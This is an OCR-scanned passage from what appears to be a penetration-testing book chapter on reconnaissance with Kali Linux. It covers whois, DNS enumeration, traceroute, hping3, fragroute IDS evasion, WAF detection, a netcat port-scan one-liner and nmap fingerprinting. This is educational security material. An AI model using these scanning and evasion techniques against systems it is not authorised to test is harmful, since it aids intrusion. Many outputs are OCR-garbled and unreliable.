name or IP address. Depending on the database that is queried, the response to a whois
request will provide names, physical addresses, phone numbers, and email addresses
(useful in facilitating social engineering attacks), as well as IP addresses and DNS server
names. After 25th May 2018, there are no registrant details provided; however, attackers
can understand which whois server responds and it retrieves domain data that includes
availability, ownership, creation, expiration details, and name servers.
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The following screenshot shows the whois command run against the domain of
cyberhia.com:

@kali:~# whois cyberhia.com

Domain Name: CYBERHIA.COM

Registry Domain ID: 1954580299 DOMAIN COM-VRSN

Registrar WHOIS Server: whois.godaddy.com

Registrar URL: http://www.godaddy.com

Updated Date: 2018-07-28T11:48:19Z

Creation Date: 2015-08-22T04:14:35Z

Registry Expiry Date: 2018-08-22T04:14:35Z

Registrar: GoDaddy.com, LLC

Registrar IANA ID: 146

Registrar Abuse Contact Email: abusefgodaddy.com

Registrar Abuse Contact Phone: 480-624-2505

Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhi
bited

Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibi
ted

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferpP
rohibited

Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhi
bited

Name Server: NS17.DOMATINCONTROL.COM

Name Server: NS18.DOMATINCONTROL.COM

DNSSEC: unsigned

Employing comprehensive reconnaissance
applications

Although Kali contains multiple tools to facilitate reconnaissance, many of the tools contain
features that overlap, and importing data from one tool into another is usually a complex
manual process. Most testers select a subset of tools and invoke them with a script.

Comprehensive tools focused on reconnaissance were originally command-line tools with a
defined set of functions; one of the most commonly used was Deep Magic Information
Gathering Tool (DMitry). DMitry could perform whois lookups, retrieve netcraft.com
information, search for sub-domains and email addresses, and perform TCP scans.
Unfortunately, it wasn't extensible beyond these functions.

The following screenshot provides details on running DMitry on www.cyberhia.com:

dmitry —-winsepo out.txt www.cyberhia.com
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r @kali:~# dmitry -winsepo out.txt www.cyberhia.com
Deepmagic Information Gathering Tool
"There be some deep magic going on"

Writing output to 'out.txt’

HostIP:166.62.126.169
HostName :www.cyberhia.com

Gathered Inet-whois information for 166.62.126.169

166.50.0.0 - 166.86.255.255
NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK

IPv4 address block not managed by the RIPE NCC

You can find the whois server to query, or the

IANA registry to query on this web page:

http://www.iana.org/assignments/ipv4-address-space

You can access databases of other RIRs at:

AFRINIC (Africa)

http://www.afrinic.net/ whois.afrinic.net

APNIC (Asia Pacific)
http://www.apnic.net/ whois.apnic.net

ARIN (Northern America)
http://www.arin.net/ whois.arin.net

Recent advances have created comprehensive framework applications that combine passive
and active reconnaissance; in the following section, we will be looking more at recon-ng.

The recon-ng framework

The recon-ng framework is an open source framework for conducting reconnaissance
(passive and active). The framework is similar to Metasploit and Social Engineer Toolkit

(SET); recon—ng uses a very modular framework. Each module is a customized

command interpreter, preconfigured to perform a specific task.
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The recon-ng framework and its modules are written in Python, allowing penetration
testers to easily build or alter modules to facilitate testing.

The recon-ng tool also leverages third-party APIs to conduct some assessments; this
additional flexibility means that some activities undertaken by recon-ng may be tracked
by those parties. Users can specify a custom useragent string or proxy requests to
minimize alerting the target network.

recon-ng is installed by default in the newer versions of Kali. All data collected by recon-
ng is placed in a database, allowing you to create various reports against the stored data.

The user can select one of the report modules to automatically create either a CVS report or
an HTML report.

To start the application, enter recon-ng at the prompt, as shown in the following
screenshot. The start screen will indicate the number of modules present, and the help
command will show the commands available for navigation, as shown in the following
screenshot:

FAN
/AN /N
sponsored by... /N INN\VN/N
/AN /7NN AN A
[/ // BLACK HILLS \/ \\
www.blackhillsinfosec.com

[recon-ng v4.9.3, Tim Tomes (ELaNMaSteR53)]

[recon-ng] [default] > I

To show the available modules, type show at the recon-ng> prompt. To load a specific
module, type 1oad followed by the name of the module. Hitting the Tab key while typing
will autocomplete the command. If the module has a unique name, you can type in the
unique part of the name, and the module will be loaded without entering the full path.
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Entering info, as shown in the screenshot that follows, will provide you with information
on how the module works and where to obtain API keys if required.

Once the module is loaded, use the set command to set the options, and then enter run to
execute, as shown in the following screenshot:

[recon-ng] [default] > load recon/profiles-profiles/profiler
[recon-ng] [default] [profiler] > show options

Current Value Required Descripti

SOURCE default source of input (see 'show info' for details)

[recon-ng] [default] [profiler] > set SOURCE cyberhia.com

SOURCE => cyberhia.com

[recon-ng] [default] [profiler] > run

[*] Retrieving https://raw.githubusercontent.com/WebBreacher/WhatsMyName/master/web accounts list.json

Looking Up Data For: Cyberhia.Com

Checking:
[*] Checking: AdultFriendFinder
[*] Checking: AngelList
[*] Checking: aNobii
[*] Checking: ask.fm
[*] Checking: Atlassian Self-Signup
[*] Checking: AudioBoom
[*] Checking: authorSTREAM
[*] Checking: badoo
[*] Checking: Basecamp
[*] Checking: Bitbucket

In general, testers rely on recon-ng to do the following:

¢ Harvest contacts using whois, Jigsaw, LinkedIn, and Twitter (use the mangle
module to extract and present email data)

e Identify hosts

e Identify geographical locations of hosts and individuals using hostop,
ipinfodb, maxmind, uniapple, and wigle

e Identify host information using netcraft and related modules

e Identify account and password information that has previously been
compromised and leaked onto the internet (the pwnedlist modules,
wascompanyhacked, xssed, and punkspider)
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IPv4

The Internet Protocol (IP) address, is a unique number used to identify devices that are
connected to a private network or the public internet. Today, the internet is largely based
on version 4, IPv4. Kali includes several tools to facilitate DNS reconnaissance, as given in
the following table:

Application Description

These are comprehensive DNS scanners—DNS record
enumeration (A, MX, TXT, SOA, wildcard, and so on), subdomain
dnsenum, dnsmap, brute-force attacks, Google lookup, reverse lookup, zone transfer,
and dnsrecon and zone walking. dsnrecon is usually the first choice—it is
highly reliable, results are well parsed, and data can be directly
imported into the Metasploit framework.

This determines where a given DNS gets its information from, and
dnstracer follows the chain of DNS servers back to the servers that know the
data.

This DNS debugger checks specified domains for internal
consistency and accuracy.

dnswalk

This locates non-contiguous IP space and hostnames against
fierce specified domains by attempting zone transfers and then
attempting brute-force attacks to gain DNS information.

During testing, most investigators run fierce to confirm that all possible targets have been
identified, and then run at least two comprehensive tools (for example, dnsenum and
dnsrecon) to generate the maximum amount of data and provide a degree of cross-
validation.

In the following screenshot, dnsrecon is used to generate a standard DNS record search
and a search that is specific for SRV records. An excerpt of the results is shown for each
case:
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rootfkali:~# dnsrecon -t std -d cyberhia.com
Performing General Enumeration of Domain:cyberhia.com
['] Wildcard resolution is enabled on this domain
['] It is resolving to 92.242.132.24
['] A1]1 queries will resolve to this address!!
[-] DNSSEC is not configured for cyberhia.com
SOA nsl7.domaincontrol.com 216.69.185.9
NS nsl7.domaincontrol.com 216.69.185.9
NS nsl7.domaincontrol.com 2607:£208:206::9
NS nsl8.domaincontrol.com 173.201.76.9
NS nsl8.domaincontrol.com 2603:5:22c0::9
MX aspmx3.googlemail.com 74.125.130.27
MX altl.aspmx.l.google.com 64.233.163.27
MX alt2.aspmx.l.google.com 74.125.130.27
MX aspmx.l.google.com 74.125.133.27
MX aspmxZ2.googlemail.com 64.233.163.27
MX aspmx3.googlemail.com 2404:6800:4003:c01::1a
MX altl.aspmx.l.google.com 2a00:1450:4010:c06::1a
MX alt2.aspmx.l.google.com 2404:6800:4003:c01::1a
MX aspmx.l.google.com 2a00:1450:400c:c06::1b
MX aspmx?.googlemail.com 2a00:1450:4010:c06::1b
A cyberhia.com 166.62.126.169
TXT cyberhia.com google-site-verification=qJu2HdlrKYbaEExS8
TXT cyberhia.com v=spfl include: spf.google.com ~all

dnsrecon allows the penetration tester to obtain the SOA record, Name Servers (NS), mail
exchanger (MX) hosts, servers sending emails using Sender Policy Framework (SPF), and
the IP address ranges in use.

IPv6

Although IPv4 seems to permit a large address space, freely available IP addresses were
exhausted several years ago, forcing the employment of NAT to increase the number of
available addresses. A more permanent solution has been found in the adoption of an
improved IP addressing scheme, IPv6. Although it constitutes less than five percent of
internet addresses, its usage is increasing, and penetration testers must be prepared to
address the differences between IPv4 and IPv6.

In IPv6, the source and destination addresses are 128-bits in length, yielding 2" possible
addresses, that is, 340 undecillion addresses!
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The increased size of the addressable address space presents some problems to penetration
testers, particularly when using scanners that step through the available address space
looking for live servers. However, some features of the IPv6 protocol have simplified
discovery, especially the use of ICMPv6 to identify active link-local addresses.

It is important to consider IPv6 when conducting initial scans for the following reasons:

¢ There's uneven support for IPv6 functionality in testing tools, so the tester must
ensure that each tool is validated to determine its performance and accuracy in
IPv4, IPv6, and mixed networks.

¢ Because IPv6 is a relatively new protocol, the target network may contain
misconfigurations that leak important data; the tester must be prepared to
recognize and use this information.

¢ Older network controls (firewalls, IDS, and IPS) may not detect IPv6. In such
cases, penetration testers can use IPv6 tunnels to maintain covert
communications with the network and exfiltrate the data undetected.

Using IPv6-specific tools

Kali includes several tools developed to take advantage of IPv6 (most comprehensive
scanners, such as nmap, now support IPv6), some of which are as follows; tools that are
particular to IPv6 were largely derived from the THC-IPv6 Attack Toolkit.

The following table provides the list of tools that are utilized for reconnaissance of IPv6:

Application Description

Enumerates sub-domains to obtain IPv4 and IPv6 addresses (if
dnsdicté present) using a brute force search based on a supplied dictionary file
or its own internal list

dnsrevenumé Performs reverse DNS enumeration given an IPv6 address
covert_sendb Sends the content of a file covertly to the target
covert_send6d |Writes covertly received content to file

denialé Performs various denial of service attacks on a target
detect-new-ip6 [Detects new IPv6 addresses joining the local network
detect_sniffero6|Tests whether systems on the local LAN are sniffing

Performs exploits of various CVE-known IPv6 vulnerabilities on the
destination

fake_dhcps6 Fake DHCPv6 server

exploité
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Metasploit can also be utilized for IPv6 host discovery.
The auxiliary/scanner/discovery/ipvé6_multicast_ping module will discover all

of the IPv6-enabled machines with the physical (MAC) address, as shown in the following
screenshot:

msf > use auxiliary/scanner/disEover§/ipvs_multicast_ping
msf auxiliary(scanner/disc

multicast ping) > show options

Module options (auxiliary/scanner/discovery/ipv6 multicast ping):

Name Current Setting Required Description

INTERFACE The name of the interface

SHOST The source IPv6 address

SMAC The source MAC address

TIMEOUT 5 Timeout when waiting for host response.

msf auxiliary(scanner/di 5" v6 multicast ping) > set INTERFACE ethO
INTERFACE => ethO
msf auxiliary(scanner/di 5" vé multicast ping) >

Sending multicast

Listening for responses...
| *] feB0::1874:982c:d2fa:471a => BB8:e9:fe:6b:c4:
|*| feB0::8ef5:a3ff:feB86:aae2 => Bc:f5:a3:86:aa:
|*|] feB0::e298:61ff:fe26:3732 => e€0:98:61:26:37:

Auxiliary module execution completed

THC IPv6 suite atk6-alive6 will discover alive addresses in the same segment, as shown
in the following screenshot:

Alive: i [ICMP e

Alive: ¢ ::beef: :fe94:21ch [ICMP echo

and found 4 system
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Mapping the route to the target

Route mapping was originally used as a diagnostic tool that allows you to view the route
that an IP packet follows from one host to the next. Using the Time To Live (TTL) field in
an IP packet, each hop from one point to the next elicits an ICMPTIME_EXCEEDED message
from the receiving router, decrementing the value in the TTL field by 1. The packets count
the number of hops and the route taken.

From an attacker's or penetration tester's perspective, the t raceroute data yields the
following important data:

The exact path between the attacker and the target

Hints pertaining to the network's external topology

Identification of accessing control devices (firewalls and packet-filtering routers)
that may be filtering attack traffic

If the network is misconfigured, it may be possible to identify internal addressing

Using a web-based traceroute (www.traceroute.org), it is possible to
trace various geographic origin sites to the target network. These types of
scans will frequently identify more than one different network connecting
to the target, which is information that could be missed by conducting
only a single t raceroute command from a location close to the target.
Web-based t raceroute may also identify multi-homed hosts that
connect two or more networks together. These hosts are an important
target for attackers, because they drastically increase the attack surface
leading to the target.

In Kali, traceroute is a command-line program that uses ICMP packets to map the route;
in Windows, the program is tracert.

If you launch traceroute from Kalj, it is likely that you will see most hops filtered (data is
shown as * * *). For example, traceroute from the author's present location to
demo . cyberhia.com would yield the following:
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traceroute to demo.cyberhia.com (166.62.126.169), 30 hops max, 60 byte packets

_gateway (192.168.0.1) 6.137 ms 6.852 ms 6.894 ms

* %k %

brnt-core-2b-xe-801-0.network.virginmedia.net (62.252.212.53) 25.536 ms 25.607 ms 25.592 ms
* * *

* * *

m686-mp2.cvxl-b.lis.dial.ntli.net (62.254.42.174) 34.297 ms 21.736 ms 20.403 ms

* ok %

us-nyc0lb-rd2-ae9-0.aorta.net (84.116.140.170) 101.786 ms 101.728 ms 93.185 ms
us-nyc0lb-ri2-ae3-0.aorta.net (84.116.137.194) 92.565 ms 96.770 ms 96.483 ms
lag-5.ear3.NewYorkl.Level3.net (4.68.72.9) 97.545 ms 97.181 ms 86.056 ms

* ok %

4.28.83.74 (4.28.83.74) 162.499 ms 162.578 ms 174.274 ms

be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69) 157.976 ms be39.trmc0215-01.ars.mgmt.phx3.qgdg
ms be38.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.69) 160.12% ms
be39.trmc0215-01.ars.mgmt.phx3.gdg (184.168.0.73) 159.118 ms 159.086 ms 158.535 ms

ip-166-62-126-169.1ip.secureserver.net (166.62.126.169) 194.981 ms 192.534 ms 190.290 ms

However, if the same request was run using tracert from the Windows command line,
we would see the following:

BN CAWINDOWS\systern32\cmd.exe [~ R

C:sUserssweluv>tracert demo.cyberhia.com

Tracing route to demo.cyberhia.com [166.62.126.1671
over a maximum of 38 hops:

1 5 ms 3 ms 3 ms 1972.168.8.1
2 =* “G
GC:sUserssveluv >tracert www.google .com

m

Tracing route to www.google.com [216.58.198_.2281
over a maximum of 30 hops:

1 7 ms 3 2 192 _168.8.1

2 * * * Reguest timed out.

3 16 ms 15 brnt—core—2b-—xe—801-B_network.virginmedia.net [6

2.252.212.531
4 * * Reguest timed out.

5 * Reguest timed out.

[ 26 ms eislouZ—ic—1-aed-B.network.virginmedia.net [62.2

30 ms 6—14-258-212 static.virginm.net [212_.258.14.61
Request timed out.
ms 188 .178.232 1084
ms 188 .178.246.176
ms 216.239.58.129
ms 216.239.59.4
ms ?4.125_242 65
ms ?4.125_252.129
ms lhr26s84—in—£228 .1el@B._net [216.58.198.2281

Trace complete.
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Not only do we get the complete path, but we can also see that www.google.com is resolving
to a slightly different IP address, indicating that load balancers are in effect (you can
confirm this using Kali's 1bd script; however, this activity may be logged by the target site).

The reason for the different path data is that, by default, t raceroute uses UDP datagrams
while Windows tracert uses ICMP echo request (ICMP type 8). Therefore, when
completing t raceroute using Kali tools, it is important to use multiple protocols in order
to obtain the most complete path and to bypass packet-filtering devices.

Kali provides the following tools for completing route traces:

Application Description
hoi This is a TCP/IP packet assembler and analyzer. This supports TCP, UDP,
ping3 T

ICMP, and raw-IP and uses a ping-like interface.
This enables users to enumerate IP hops by exploiting existing TCP

intrace |connections, both initiated from the local system or network or from local
hosts. This makes it very useful for bypassing external filters such as firewalls.
intrace is a replacement for the less reliable Ot race program.

trace6 This is a traceroute program that uses ICMP®6.

hping3 is one of the most useful tools due to the control it gives over packet type, source
packet, and destination packet. For example, Google does not allow ping requests.
However, it is possible to ping the server if you send the packet as a TCP SYN request.

In the following example, the tester attempts to ping Google from the command line. The
returned data identifies that demo . cyberhia.comis an unknown host; Google is clearly
blocking ICMP-based ping commands. However, the next command invokes hping3,
instructing it to do the following;:

¢ Send a ping-like command to Google using TCP with the syN flag set (-S)

e Direct the packet to port 80; legitimate requests of this type are rarely blocked (-
p 80)

e Set a count of sending three packets to the target (-c 3)
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To execute the previous steps, use the commands shown in the following screenshot:

ttl—44 DF i ~t=8 in - ) ms
tt1-45 DF i ~t=8 in - ms
59 ttl=44 DF ic 3 s in=14600 rtt=300.8 ms

The hping3 command successfully identifies that the target is online and provides some
basic routing information.

Identifying the external network
infrastructure

Once the tester's identity is protected, identifying the devices on the internet-accessible
portion of the network is the next critical first step in scanning a network.

Attackers and penetration testers use this information to do the following:

Identify devices that may confuse (load balancers) or eliminate (firewalls and
packet inspection devices) test results

Identify devices with known vulnerabilities

Identify the requirement for continuing to implement stealthy scans

Gain an understanding of the target's focus on secure architecture and on
security in general

traceroute provides basic information on packet filtering abilities; some other
applications on Kali include the following;:

Application Description

Uses two DNS and HTTP-based techniques to detect load balancers (shown
in the following screenshot)

1bd

miranda.py|ldentifies universal plug-and-play and UPNP devices

nmap Detects devices and determines the operating systems and their version
Web-based search engine that identifies devices connected to the internet,

Shodan including those with default passwords, known misconfigurations, and
vulnerabilities
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Similar to the Shodan search that has already scanned the entire internet,
censys.io  [with certificate details, technology information, misconfiguration, and known
vulnerabilities

The following screenshot shows the results obtained on running the 1bd script against
Facebook; as you can see, Google uses both DNS-Loadbalancing as well as HTTP-
Loadbalancing on its site. From a penetration tester's perspective, this information could
be used to explain why spurious results are obtained, as the load balancer shifts a particular
tool's activity from one server to another. The following screenshot displays the HTTP-load
balancing;:

wwrw . [ d-balancing. Fou

Mapping beyond the firewall

Attackers normally start the network debugging using t raceroute utility, which attempts
to map all of the hosts on a route to a specific destination host or system. Once the target is
reached, as the TTL (Time to Live) field will be 0, the target will discard the datagram and
generate an ICMP time exceeded packet back to its originator. A regular t raceroute will
be as follows:
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As you see from the preceding example, we cannot go beyond a particular IP, which most
probably means that there is a packet filtering device at hop 3. Attackers would dig a little
bit deeper to understand what is deployed on that IP.

Deploying the default UDP datagram option, it will increase the port number at every time
it sends an UDP datagram. Hence, attackers will start pointing a port number to reach the
final target destination.

IDS/IPS identification

Penetration testers can utilize fragroute and wafw00f to identify whether there are any
detection or prevention mechanisms put in place such as Intrusion Detection System (IDS)
or an Intrusion Prevention system (IPS) or a Web application Firewall (WAF).

fragroute is a default tool in Kali Linux that can perform fragmentation of packets. The
network packets will allow attackers to intercept, modify, and rewrite the egress traffic for a
specific target. This tool comes in very handy on a highly secured remote environment.
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The following screenshot provides the list of options that are available in fragroute to
determine any network IDs in place:

@kali:~# fragroute
fragroute [-f file] dst

delay first|last|random <ms>

drop first|last|random <prob-%

dup first|last|random <prob-%>

echo <string> ...

ip chaff duplopti<ttl>

ip frag <size> [old|new]

ip opt lsrr|ssrr <ptr> <ip-addr> ...
ip ttl <ttl>

ip tos <tos>

order random|reverse

print

tcp_chaff cksum|null |paws |rexmit| seq|syn|<ttl>
tep opt mss|wscale <size>

tcp seg <size> [old|new]

Attackers can also write their own custom configuration to perform fragmentation attacks
to delay, duplicate, drop, fragment, overlap, reorder, source-route, and segment. A sample
custom configuration would look like the following screenshot:

GNU nano 2.9.1 /ete/fragroute.conf

Ecp_seg 1 new
ip frag 24

ip chaff dup
order random
print

fragroute on target is as simple as running fragroute target.com and if there are any
connections happening to the target . com address, then the attackers will be able to see
the traffic that is being sent to the target . com. Note that only when you have a route to
the target will you be able to fragment the route. The following screenshot shows that the
IP segments are fragmented as per the custom configuration file:
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Ti: # fragroute 192.168.0.143
> ip_frag ip_chaff -> ip_ttl -> order print
92.168.C 3.30551: SP 17834 117834 (28) win 30324 [tos 0x10] [delay

2: S 204684773:204684773(0) win 2 0 <mss 1460,sackOK,timest

<nop,nop, timestamp 147562970 4294

776:2@32) [tos 0x10] [delay 0.001 ms]

(12) ack 796406353 win 16980 urg 2
) win 229 <nop,nop,timestamp 147565057 4294

.168.0.143: (frag 32)

168.0.143 g 61342:2@32) [to:, )

b g ] 222: P ack 12501901 win 229 <nop,nop,timestamp 147565057 4294

> ) @32) [tos 0x
1)2 lb% 0.124.479 > 192.16 i 2: P ack 1250190° win 229 <nop,nop,timestamp 147565057 4294

Another tool that attackers utilize during the active reconnaissance is wafw00£; this tool is
preinstalled in the latest version of Kali Linux. It is used to identify and fingerprint the Web
Application Firewall (WAF) products. It also provides a list of well-known WAFs. It can be
listed down by adding the -1 switch to the command (for example, wafw00£f -1)

The following screenshot provides the exact WAF running behind a web application:
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Enumerating hosts

Host enumeration is the process of gaining specific particulars regarding a defined host. It
is not enough to know that a server or wireless access point is present; instead, we need to
expand the attack surface by identifying open ports, the base operating system, services
that are running, and supporting applications.

This is highly intrusive and, unless care is taken, the active reconnaissance will be detected
and logged by the target organization.

Live host discovery

The first step is to run network ping sweeps against a target address space and look for
responses that indicate that a particular target is live and capable of responding.
Historically, pinging is referred to as the use of ICMP; however, TCP, UDP, ICMP, and
ARRP traffic can also be used to identify live hosts.

Various scanners can be run from remote locations across the internet to identify live hosts.
Although the primary scanner is nmap, Kali provides several other applications that are also
useful, as shown in the following table:

Application Description
alive6 and detect-new~ |Thisis for IPv6 host detection. detect-new-ip6 runs on a
ip6 scripted basis and identifies new IPv6 devices when added.

nmap is the standard network enumeration tool. dnmap is a
distributed client-server implementation of the nmap scanner.
PBNJ stores nmap results in a database, and then conducts
historical analyses to identify new hosts.

fping, hping2, hping3, |These are packet crafters that respond to targets in various
and nping ways to identify live hosts.

Dnmap and nmap

To the penetration tester or attacker, the data returned from live host discovery will
identify the targets for attack.
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Run multiple host discovery scans while conducting a penetration test.
Certain devices may be time dependent. During one penetration test, it
was discovered that the system administrator set up a game server after
regular business hours. Because it was not an approved business system,
the administrator didn't follow the normal process for securing the server;
multiple vulnerable services were present, and it hadn't received
necessary security patches. Testers were able to compromise the game
server and gain access to the underlying corporate network using
vulnerabilities in the administrator's game server.

Port, operating system, and service
discovery

Kali provides several different tools useful for identifying open ports, operating systems,
and installed services on remote hosts. The majority of these functions can be completed
using nmap. Although we will focus on examples using nmap, the underlying principles
apply to the other tools as well.

Port scanning

Port scanning is the process of connecting to TCP and UDP ports to determine what
services and applications are running on the target device. There are 65,535 ports each for
both TCP and UDP on each system. Some ports are known to be associated with particular
services (for instance, TCP 20 and 21 are the usual ports for the File Transfer

Protocol (FTP) service). The first 1,024 are the well-known ports, and most defined services
run over ports in this range; accepted services and ports are maintained by IANA
(http://www.iana.org/assignments/service-names-port-numbers/service-names—port—

numbers.xhtml).
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Although there are accepted ports for particular services, such as port 80
for web-based traffic, services can be directed to use any port. This option
is frequently used to hide particular services, particularly if the service is
known to be vulnerable to attack. However, if attackers complete a port
scan and do not find an expected service or find it using an unusual port,
they will be prompted to investigate further.

The universal port mapping tool, nmap, relies on active stack fingerprinting. Specially
crafted packets are sent to the target system, and the response of the OS to those packets
allows nmap to identify the OS. In order for nmap to work, at least one listening port must
be open, and the operating system must be known and fingerprinted, with a copy of that
fingerprint in the local database.

Using nmap for port discovery is very noisy—it will be detected and logged by network
security devices. Some points to remember are as follows:

¢ Attackers and penetration testers focused on stealth will test only the ports that
impact the kill chain they are following to their specific target. If they are
launching an attack that exploits vulnerabilities in a web server, they will search
for targets with port 80 or port 8080 accessible.

® Most port scanners have default lists of ports that are scanned—ensure that you
know what is on that list and what has been omitted. Consider both TCP and
UDP ports.

e Successful scanning requires a deep knowledge of TCP/IP and related protocols,
networking, and how particular tools work. For example, SCTP is an increasingly
common protocol on networks, but it is rarely tested on corporate networks.

¢ Port scanning, even when done slowly, can impact a network. Some older
network equipment and equipment from specific vendors will lock when
receiving or transmitting a port scan, hence turning a scan into a denial of service
attack.

¢ Tools used to scan a port, particularly nmap, are being extended with regards to

functionalities. They can also be used to detect vulnerabilities and exploit simple
security holes.
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Writing your own port scanner using netcat

While attackers utilize the proxying application and Tor network, it is also possible to write
their own custom network port scanner. The following one-line command can be utilized
during penetration testing to identify the list of open ports just by using netcat as shown in
the following screenshot:

while read r; do nc -v -z $r 1-65535; done < iplist

oot@kali:~# while read r; do nc -v -z $r 1-65535; done < 1plist
dlinkrouter [192. 56209 (?) open
dlinkrouter [192.168.0.1] 49152 (?) open
dlinkrouter [192.168.0.1] 45555 (?) open
dlinkrouter [192.168.0.1] 8183 (?) open
dlinkrouter [192.168.0.1] 8182 open
dlinkrouter [192.16 1] 8181 open
dlinkrouter [192.16 1] 7777 open
dlinkrouter [192.16 1] 4433 (?) open
dlinkrouter [192.168.0.1] 443 (https) open
dlinkrouter [192.168.0.1] 80 (http) open
dlinkrouter [192.168. 53 (domain) open
DNS fwd/rev mismatch: kali !'= kali.secure
kali [192.168.0.124] 55982 (?) open

kali [192.168.0.124] 336

kali [192.168.0.124] 8000 (?) open

kali [192.168.0.124] 22 (ssh) open

The same script can be modified for more targeted attacks on a single IP, as follows:

while read r; do nc -v -z target $r; done < ports

The chances of getting alerted in any intrusion detection system using custom port scanners
is high.
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Fingerprinting the operating system

Determining the operating system of a remote system is conducted using two types of
scans:

e Active fingerprinting: The attacker sends normal and malformed packets to the
target and records its response pattern, referred to as the fingerprint. By
comparing the fingerprint to a local database, the operating system can be
determined.

e Passive fingerprinting: The attacker sniffs, or records and analyzes the packet
stream to determine the characteristics of the packets.

Active fingerprinting is faster and more accurate than passive fingerprinting. In Kali, the
two primary active tools are nmap and xprobe2.

The nmap tool injects packets into the target network and analyzes the response that it
receives. In the following screenshot, the —0 flag commands nmap to determine the
operating system:

nmap -sS -0 target.com

A related program, xprobe2, uses different TCP, UDP, and ICMP packets to bypass
firewalls and avoid detection by IDS/IPS systems. xprobe2 also uses fuzzy pattern
matching—the operating system is not identified as definitely being one type; instead, it is
assigned the probability of being one of several possible variants:

xprobe2 www.target.com

Note that it is simple for the target system to hide the true operating system. Since
fingerprinting software relies on packet setting, such as time-to-live or the initial windows
size, changes to these values or other user-configurable settings can change the tool results.
Some organizations actively change these values to make the final stages of reconnaissance
more difficult.

Determining active services

The final goal of the enumeration portion of reconnaissance is to identify the services and
applications that are operational on the target system. If possible, the attacker would want
to know the service type, vendor, and version to facilitate the identification of any
vulnerability.
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The following are some of the several techniques used to determine active services:

e Identify default ports and services: If the remote system is identified as having a
Microsoft operating system with port 80 open (the WWW service), an attacker
may assume that a default installation of Microsoft IIS is installed. Additional
testing will be used to verify this assumption (nmap).

¢ Banner grabbing: This is done using tools such as amap, netcat, nmap, and
Telnet.

¢ Review default web pages: Some applications install with default
administration, error, or other pages. If attackers access these, they will provide
guidance on installed applications that may be vulnerable to attack. In the
following screenshot, the attacker can easily identify the version of Apache
Tomcat that has been installed on the target system.

¢ Review source code: Poorly configured web-based applications may respond to
certain HTTP requests such as HEAD or OPTIONS with a response that includes
the web server software version, and, possibly, the base operating system or the
scripting environment in use. In the following screenshot, netcat is launched
from the command line and is used to send raw HEAD packets to a particular
website. This request generates an error message (404 not found); however, it
also identifies that the server is running Apache 2.4.37 with application server
PHP 5.6.39:

Unknown host

2p PHP/5.6

html; charset=utf-8

2019
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Large-scale scanning

In case of testing bigger organizations with multiple class B/C IP ranges, large-scale
scanning is engaged. For example, with a global company, often a number of IP blocks exist
as part of external internet facing. As mentioned earlier in chapter 2, Open Source
Intelligence and Passive Reconnaissance, attackers do not have time limitations to scan, but
penetration testers do. Pentesters can engage multiple tools to perform the activity;
Masscan is one of the tools that would be engaged to scan large-scale IP blocks to quickly
analyze the live hosts in the target network. Masscan is installed in Kali by default. The
biggest advantage of Masscan is randomization of hosts, ports, speed, flexibility, and
compatibility. The following screenshot provides a Class C scanning network within a few
seconds to complete and identify the available HTTP service on port 80 and services
running on the target hosts:

DHCP information

The Dynamic Host Configuration Protocol (DHCP) is a service that dynamically assigns
an IP address to the hosts on the network. This protocol operates at the MAC sub layer of
the Data-Link layer of the TCP/IP protocol stack. Upon selection of auto-configuration, a
broadcast query will be sent to the DHCP servers and when a response is received from the
DHCP server, a broadcast query is sent by the client to the DHCP server requesting
required information. The server will now assign an IP address to the system and other
configuration parameters such as the subnet mask, DNS, and the default gateway.
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Sniffing is a great way of collecting passive information once connected to a network.
Attackers will be able to see a lot of broadcast traffic, as shown in the following screenshot:

M | Apply a display filter

o.

|

Number 358698005
220 85.328726516
221 85.328734265
222 85.341873921
223 85.342673730
224 85.343447397
225 85.344107163
226 85.345747950
227 85.345761971
228 85.345091325
220 85.345099017
230 85.346084934
231 85.347376527
232 85.347471417
233 85.347597772
234 85.347775464
235 85.348160774

Source
CadmusCo_ff:04:71
192.168.0.166
192.168.0.129
CadmusCo_ff:@4:71
D-LinkIn_@9:f1:be
CadmusCo_78:77:ca
D-LinkIn_@9:f1:be

fe80::ddi11:9afe:af4..
fe80::3500:6136:49b..

192.168.0.129
192.168.0.166
192.168.0.166

fe80::dd11:9afe:af4.
fe80: :3500:6136:49b..

192.168.0.129
192.168.0.166

feB80::ddl11:9afe:af4..

Destination
Broadcast
192.168.0.255
192.168.0.255
Broadcast
CadmusCo_ff:084:71
Broadcast
CadmusCo_78:77:ca
ffe2::16

ffe2::16
224.0.0.22
224.0.0.22
224.0.0.22
ffez::16

ffe2::16
224.0.0.22
224.0.0.22
ffe2::1:3

Protocol
ARP
NBNS
NBNS
ARP
ARP
ARP
ARP
ICMPv6
ICMPV6
IGMPv3
IGMPv3
IGMPv3
ICMPv6E
ICMPv6
IGMPv3
IGMPv3
LLMNR

Length
60
92
92
60
60
60
60
elc]
=l¢]
60
60
60
o]
90
60
60
95

-d ~| Expression...

Info

Who has 192.168.8.1457 Tell 192..

Name gquery NB ISATAP<00>
Name query NB ISATAP<0O>

Who has 192.168.0.1?7 Tell 192.1..
192.168.08.1 is at 1c:5f:2b:89:f..
Who has 192.168.0.1?7 Tell 192.1..
192.168.0.1 is at 1c:5f:2b:89:f..
Messa..
Messa..
group...
group...
group...
Messa..
Messa..
Membership Report / Join group ..
Membership Report / Join group ..
Standard query 8x3ecl ANY metas..

Multicast Listener Report
Multicast Listener Report
Membership Report / Leave
Membership Report / Leave
Membership Report / Leave
Multicast Listener Report
Multicast Listener Report

+

We will now see traffic on DNS, NBNS, BROWSER, and other protocols that might
potentially reveal hostnames, VLAN information, domains, and active subnets in the
network. We will be discussing more attacks specific to sniffing in chapter 11, Exploitation.
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Identification and enumeration of internal

network hosts

If the attacker's system is already configured with the DHCP, it will provide a few bits of
information that are very useful to map the internal network. The DHCP information can
be obtained by typing ifconfig in the Kali Terminal as shown in the following screenshot.
You should be able to see the following information:

: ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.115.108 netmask 255.255.240.0 broadcast 10.10.127.255
ineté Te80::a634:d9ff:feba:b93c prefixlen 64 scopeid 0x20<link=>
ether a4:34:d9:0a:b9:3¢c txqueuelen 1000 (Ethernet)
